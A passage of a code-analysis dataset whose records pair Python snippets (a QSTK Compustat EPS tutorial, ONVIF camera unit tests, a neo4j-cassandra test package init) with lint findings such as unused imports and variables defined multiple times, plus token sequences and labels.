da.DataAccess('Compustat')\ncompustatObj.get_info()\n\n\n''' Get data items and create dictionary to translate between string and index '''\nlsItems = compustatObj.get_data_labels()\ndLabel = dict( zip(lsItems,range(len(lsItems))) )\nprint 'Valid data items (sorted):\\n', sort(lsItems[:])\n\n \n\n''' Create timestamps for 5 year period, must include all days, financial report may have been filed on non-NYSE day '''\n''' get todays date, time = 16:00:00 '''\ndtEnd = dt.datetime.combine( dt.datetime.now().date(), dt.time(16) )\ndtStart = dtEnd.replace( year=dtEnd.year-5 )\n\ntsAll = [ dtStart ]\nwhile( tsAll[-1] != dtEnd ):\n tsAll.append( tsAll[-1] + dt.timedelta(days=1) )\n\n\n''' Query data object '''\ndmValues = compustatObj.get_data( tsAll, symbols, lsItems)\n\n\n''' Keep track of non-nan data entries '''\nllTotal = [0] * len(lsItems)\nllValid = [0] * len(lsItems)\n \nfor lStock in range(len(symbols)):\n\n dmKeys = dmValues[ dLabel['gvkey'] ]\n \n ''' Loop through all time indexes '''\n for i, row in enumerate( dmKeys.values ):\n \n ''' Check nan gvkey value, indicating an invalid entry row skip '''\n if( isnan(row[lStock]) ):\n continue\n \n ''' check for other valid entries in the other data types '''\n for lInd in range( len(lsItems) ):\n llTotal[lInd] = llTotal[lInd] + 1\n if( not isnan(dmValues[lInd].values[i,lStock]) ):\n llValid[lInd] = llValid[lInd] + 1 \n \n''' sort and print results by percentage valid data '''\n\nltBoth = []\nlNonZero = 0\nlHundred = 0\nfor i, sLabel in enumerate( lsItems ):\n ltBoth.append( ( (llValid[i] * 100.0 / llTotal[i]), sLabel ) )\n if not llValid[i] == 0:\n lNonZero = lNonZero + 1\n if llValid[i] == llTotal[i]:\n lHundred = lHundred + 1\n \nltBoth.sort()\nltBoth.reverse()\n\nfor tRes in ltBoth:\n print '%10s: %.02lf%%'%( tRes[1], tRes[0] )\n \nprint '\\n%i out of %i elemenets non-zero.'%(lNonZero, len(lsItems))\nprint '%i out of %i elemenets have 100%% participation.'%(lHundred, len(lsItems))\n\n\n''' Retrieve and plot quarterly earnings per share '''\n\ndmEps = dmKeys = dmValues[ dLabel['EPSPIQ'] ]\nnaEps = dmEps.values\ntsu.fillforward( naEps )\n\nplt.clf()\n\nfor i, sStock in enumerate( symbols ):\n plt.plot( tsAll, naEps[:,i] )\n \nplt.gcf().autofmt_xdate(rotation=45)\nplt.legend( symbols, loc='upper left' )\nplt.title('EPS of various stocks')\n\nsavefig('tutorial6.pdf',format='pdf')\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import qstkutil.qsdateutil as du", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 32 }, { "span": "from copy import copy", "start_line": 20, "start_column": 0, "end_line": 20, "end_column": 21 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "'''", "\\", "10", ";", "(", "c", ")", " ", "2011", ",", " ", "2012", " ", "Georg", "ia", " ", "Te", "ch", " ", "Rese", "arch", " ", "Cor", "porat", "ion", "\\", "10", ";", "Thi", "s", " ", "source", " ", "code", " ", "is", " ", "released", " ", "under", " ", "the", " ", "New", " ", "BS", "D", " ", "license", ".", " ", " ", "Ple", "ase", " ", "see", "\\", "10", ";", "http", "://", "wiki", ".", "quant", "software", ".", "org", "/", "index", ".", "php", "?", "title", "=", "QS", "TK", "\\u", "License", "\\", "10", ";", "for", " ", "license", " ", "deta", "il", "s", ".", "\\", "10", ";", "\\", "10", ";", "Creat", "ed", " ", "on", " ", "Jun", "e", " ", "1", ",", " ", "2011", "\\", "10", ";", "\\", "10", ";", "@", "author", ":", " ", "Joh", "n", " ", "Cor", "nw", "ell", "\\", "10", ";", "@", "contact", ":", " ", "Joh", "n", "WC", "orn", "well", "V", "@", "gma", "il", ".", "com", "\\", "10", ";", "@", "summar", "y", ":", " ", "Demo", "nstr", "ates", " ", "the", " ", "retrie", "val", " ", "and", " ", "use", " ", "of", " ", "Comp", "ust", "at", " ", "data", " ", "from", " ", "the", " ", "Data", "Access", " ", "object", ".", "\\", "10", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "qst", "ku", "til_", "._", "qs", "dateutil_", "as_", "du_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "qst", "ku", "til_", "._", "tsu", "til_", "as_", "tsu", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "qst", "ku", "til_", "._", "Data", "Access_", "as_", "da_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "datetime_", "as_", "dt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "matplotlib_", "._", "pyplot_", "as_", "plt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pylab_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "math_", "import_", "isnan_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "copy_", "import_", "copy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "symbols_", "=_", "[_", "'", "GE", "'_", ",_", "'", "MS", "FT", "'_", ",_", "'", "XO", "M", "'_", ",_", "'", "PF", "E", "'_", ",_", "'", "C", "'_", ",_", "'", "WM", "T", "'_", ",_", "'", "INT", "C", "'_", ",_", "'", "AA", "PL", "'_", ",_", "'", "GO", "OG", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "'''", " ", "Creat", "e", " ", "compu", "stat", " ", "object", " ", "and", " ", "query", " ", "it", " ", "for", " ", "some", " ", "informati", "on", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "compu", "stat", "Obj_", "=_", "da_", "._", "Data", "Access_", "(_", "'", "Comp", "ust", "at", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "compu", "stat", "Obj_", "._", "get", "\\u", "info_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "'''", " ", "Get", " ", "data", " ", "items", " ", "and", " ", "create", " ", "dictionar", "y", " ", "to", " ", "translat", "e", " ", "bet", "ween", " ", "string", " ", "and", " ", "index", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ls", "Items_", "=_", "compu", "stat", "Obj_", "._", "get", "\\u", "data\\u", "labels_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d", "Label_", "=_", "dict_", "(_", "zip_", "(_", "ls", "Items_", ",_", "range_", "(_", "len_", "(_", "ls", "Items_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Valid", " ", "data", " ", "items", " ", "(", "sorte", "d", "):", "\\\\", "n", "'_", ",_", "sort_", "(_", "ls", "Items_", "[_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "'''", " ", "Creat", "e", " ", "timestamp", "s", " ", "for", " ", "5", " ", "year", " ", "period", ",", " ", "must", " ", "include", " ", "all", " ", "day", "s", ",", " ", "financial", " ", "report", " ", "may", " ", "have", " ", "bee", "n", " ", "filed", " ", "on", " ", "non", "-", "NY", "SE", " ", "day", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "'''", " ", "get", " ", "toda", "ys", " ", "date", ",", " ", "time", " ", "=", " ", "16", ":", "00", ":", "00", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dt", "End_", "=_", "dt_", "._", "datetime_", "._", "combine_", "(_", "dt_", "._", "datetime_", "._", "now_", "(_", ")_", "._", "date_", "(_", ")_", ",_", "dt_", "._", "time_", "(_", "16_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dt", "Start_", "=_", "dt", "End_", "._", "replace_", "(_", "year_", "=_", "dt", "End_", "._", "year_", "-_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ts", "All_", "=_", "[_", "dt", "Start_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "(_", "ts", "All_", "[_", "-_", "1_", "]_", "!=_", "dt", "End_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ts", "All_", "._", "append_", "(_", "ts", "All_", "[_", "-_", "1_", "]_", "+_", "dt_", "._", "timedelta_", "(_", "days_", "=_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "'''", " ", "Query", " ", "data", " ", "object", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dm", "Values_", "=_", "compu", "stat", "Obj_", "._", "get", "\\u", "data_", "(_", "ts", "All_", ",_", "symbols_", ",_", "ls", "Items_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "'''", " ", "Keep", " ", "track", " ", "of", " ", "non", "-", "nan", " ", "data", " ", "entri", "es", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ll", "Total_", "=_", "[_", "0_", "]_", "*_", "len_", "(_", "ls", "Items_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ll", "Valid_", "=_", "[_", "0_", "]_", "*_", "len_", "(_", "ls", "Items_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "l", "Stock", "_", "in_", "range_", "(_", "len_", "(_", "symbols_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dm", "Keys_", "=_", "dm", "Values_", "[_", "d", "Label_", "[_", "'", "gv", "key", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "'''", " ", "Loop", " ", "through", " ", "all", " ", "time", " ", "indexe", "s", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "row_", "in_", "enumerate_", "(_", "dm", "Keys_", "._", "values_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", " ", "Check", " ", "nan", " ", "gv", "key", " ", "value", ",", " ", "indicati", "ng", " ", "an", " ", "invalid", " ", "entry", " ", "row", " ", "skip", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "isnan_", "(_", "row_", "[_", "l", "Stock", "_", "]_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "'''", " ", "check", " ", "for", " ", "other", " ", "valid", " ", "entri", "es", " ", "in", " ", "the", " ", "other", " ", "data", " ", "types", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "l", "Ind_", "in_", "range_", "(_", "len_", "(_", "ls", "Items_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ll", "Total_", "[_", "l", "Ind_", "]_", "=_", "ll", "Total_", "[_", "l", "Ind_", "]_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "not_", "isnan_", "(_", "dm", "Values_", "[_", "l", "Ind_", "]_", "._", "values_", "[_", "i_", ",_", "l", "Stock", "_", "]_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ll", "Valid_", "[_", "l", "Ind_", "]_", "=_", "ll", "Valid_", "[_", "l", "Ind_", "]_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "'''", " ", "sort", " ", "and", " ", "print", " ", "results", " ", "by", " ", "percentage", " ", "valid", " ", "data", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "lt", "Bot", "h_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l", "Non", "Zero_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l", "Hun", "dre", "d_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "s", "Label_", "in_", "enumerate_", "(_", "ls", "Items_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lt", "Bot", "h_", "._", "append_", "(_", "(_", "(_", "ll", "Valid_", "[_", "i_", "]_", "*_", "100.0_", "/_", "ll", "Total_", "[_", "i_", "]_", ")_", ",_", "s", "Label_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "ll", "Valid_", "[_", "i_", "]_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "l", "Non", "Zero_", "=_", "l", "Non", "Zero_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "ll", "Valid_", "[_", "i_", "]_", "==_", "ll", "Total_", "[_", "i_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "l", "Hun", "dre", "d_", "=_", "l", "Hun", "dre", "d_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "lt", "Bot", "h_", "._", "sort_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lt", "Bot", "h_", "._", "reverse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "t", "Res_", "in_", "lt", "Bot", "h_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'%", "10", "s", ":", " ", "%", ".02", "lf", "%%'", "_", "%_", "(_", "t", "Res_", "[_", "1_", "]_", ",_", "t", "Res_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "'\\\\", "n", "%", "i", " ", "out", " ", "of", " ", "%", "i", " ", "elem", "ene", "ts", " ", "non", "-", "zero", ".'_", "%_", "(_", "l", "Non", "Zero_", ",_", "len_", "(_", "ls", "Items_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'%", "i", " ", "out", " ", "of", " ", "%", "i", " ", "elem", "ene", "ts", " ", "have", " ", "100", "%%", " ", "participati", "on", ".'_", "%_", "(_", "l", "Hun", "dre", "d_", ",_", "len_", "(_", "ls", "Items_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "'''", " ", "Retrieve", " ", "and", " ", "plot", " ", "quarter", "ly", " ", "earn", "ings", " ", "per", " ", "share", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dm", "Eps", "_", "=_", "dm", "Keys_", "=_", "dm", "Values_", "[_", "d", "Label_", "[_", "'", "EPS", "PI", "Q", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "na", "Eps", "_", "=_", "dm", "Eps", "_", "._", "values_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tsu", "_", "._", "fill", "forward_", "(_", "na", "Eps", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "plt_", "._", "clf_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", ",_", "s", "Stock", "_", "in_", "enumerate_", "(_", "symbols_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "plt_", "._", "plot_", "(_", "ts", "All_", ",_", "na", "Eps", "_", "[_", ":_", ",_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "plt_", "._", "gcf", "_", "(_", ")_", "._", "autof", "mt", "\\u", "xdat", "e_", "(_", "rotation_", "=_", "45_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "legend_", "(_", "symbols_", ",_", "loc_", "=_", "'", "upper", " ", "left", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "title_", "(_", "'", "EPS", " ", "of", " ", "vari", "ous", " ", "stocks", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "savefig_", "(_", "'", "tutorial", "6", ".", "pdf", "'_", ",_", "format_", "=_", "'", "pdf", "'_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2,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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
quatanium/python-onvif/tests/test.py
[ { "content": " def test_GetServices(self):\n '''\n Returns a cllection of the devices\n services and possibly their available capabilities\n '''\n params = {'IncludeCapability': True }\n ret = self.cam.devicemgmt.GetServices(params)\n params = self.cam.devicemgmt.create_type('GetServices')\n params.IncludeCapability=False\n ret = self.cam.devicemgmt.GetServices(params)", "metadata": "root.TestDevice.test_GetServices", "header": "['class', 'TestDevice', '(', 'unittest', '.', 'TestCase', ')', ':', '___NEWLINE___', '___NL___', '# Class level cam. Run this test more efficiently..', '___NL___', '___EOS___']", "index": 29 }, { "content": " def test_GetCapabilities(self):\n '''\n Probides a backward compatible interface for the base capabilities.\n '''\n categorys = ['PTZ', 'Media', 'Imaging',\n 'Device', 'Analytics', 'Events']\n ret = self.cam.devicemgmt.GetCapabilities()\n for category in categorys:\n ret = self.cam.devicemgmt.GetCapabilities({'Category': category})\n\n with self.assertRaises(ONVIFError):\n self.cam.devicemgmt.GetCapabilities({'Category': 'unknown'})", "metadata": "root.TestDevice.test_GetCapabilities", "header": "['class', 'TestDevice', '(', 'unittest', '.', 'TestCase', ')', ':', '___NEWLINE___', '___NL___', '# Class level cam. Run this test more efficiently..', '___NL___', '___EOS___']", "index": 45 } ]
[ { "span": "ret ", "start_line": 35, "start_column": 8, "end_line": 35, "end_column": 11 }, { "span": "ret ", "start_line": 51, "start_column": 8, "end_line": 51, "end_column": 11 } ]
[ { "span": "ret ", "start_line": 38, "start_column": 8, "end_line": 38, "end_column": 11 }, { "span": "ret ", "start_line": 53, "start_column": 12, "end_line": 53, "end_column": 15 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "Test", "Device_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Class", " ", "level", " ", "cam", ".", " ", "Run", " ", "this", " ", "test", " ", "more", " ", "efficien", "tl", "y", "..", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "Get", "Services_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "a", " ", "cl", "lection", " ", "of", " ", "the", " ", "device", "s", "\\", "10", ";", " ", " ", " ", " ", "service", "s", " ", "and", " ", "possib", "ly", " ", "thei", "r", " ", "avail", "able", " ", "capab", "ilities", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "=_", "{_", "'", "Include", "Capa", "bilit", "y", "'_", ":_", "True_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "cam_", "._", "device", "mgmt_", "._", "Get", "Services_", "(_", "params_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "=_", "self_", "._", "cam_", "._", "device", "mgmt_", "._", "create", "\\u", "type_", "(_", "'", "Get", "Service", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "._", "Include", "Capa", "bility_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "cam_", "._", "device", "mgmt_", "._", "Get", "Services_", "(_", "params_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Device_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Class", " ", "level", " ", "cam", ".", " ", "Run", " ", "this", " ", "test", " ", "more", " ", "efficien", "tl", "y", "..", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "Get", "Capabilities", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Prob", "ides", " ", "a", " ", "back", "ward", " ", "compatible", " ", "interface", " ", "for", " ", "the", " ", "base", " ", "capab", "ilities", ".", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "category", "s_", "=_", "[_", "'", "PT", "Z", "'_", ",_", "'", "Media", "'_", ",_", "'", "Imagin", "g", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Dev", "ice", "'_", ",_", "'", "Analy", "tic", "s", "'_", ",_", "'", "Event", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "cam_", "._", "device", "mgmt_", "._", "Get", "Capabilities", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "category_", "in_", "category", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ret_", "=_", "self_", "._", "cam_", "._", "device", "mgmt_", "._", "Get", "Capabilities", "_", "(_", "{_", "'", "Cate", "gory", "'_", ":_", "category_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "self_", "._", "assert", "Raises_", "(_", "ON", "VIF", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "cam_", "._", "device", "mgmt_", "._", "Get", "Capabilities", "_", "(_", "{_", "'", "Cate", "gory", "'_", ":_", "'", "unknown", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
neo4j-contrib/neo4j-cassandra-connector/tests/__init__.py
[ { "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*- \nfrom pkgutil import extend_path\n__path__ = extend_path(__path__, __name__)\n\n\nimport logging\nimport os\nimport sys\n\n\nif sys.version_info[0] == 3:\n unicode = str\n\nif sys.version_info[:2] == (2, 6):\n import unittest2 as unittest\n from unittest2.case import SkipTest\nelse:\n import unittest\n from unittest.case import SkipTest\n\n\nlogging.basicConfig(stream=sys.stdout)\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import os", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 9 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", " _", "\\u\\u\\uNL\\u\\u\\u_", "from_", "pkg", "util_", "import_", "extend", "\\u", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "path\\u\\u_", "=_", "extend", "\\u", "path_", "(_", "\\u\\u", "path\\u\\u_", ",_", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "sys_", "._", "version", "\\u", "info_", "[_", "0_", "]_", "==_", "3_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "unicode_", "=_", "str_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "sys_", "._", "version", "\\u", "info_", "[_", ":_", "2_", "]_", "==_", "(_", "2_", ",_", "6_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "unittest2_", "as_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "unittest2_", "._", "case_", "import_", "Ski", "p", "Test_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "unittest_", "._", "case_", "import_", "Ski", "p", "Test_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", 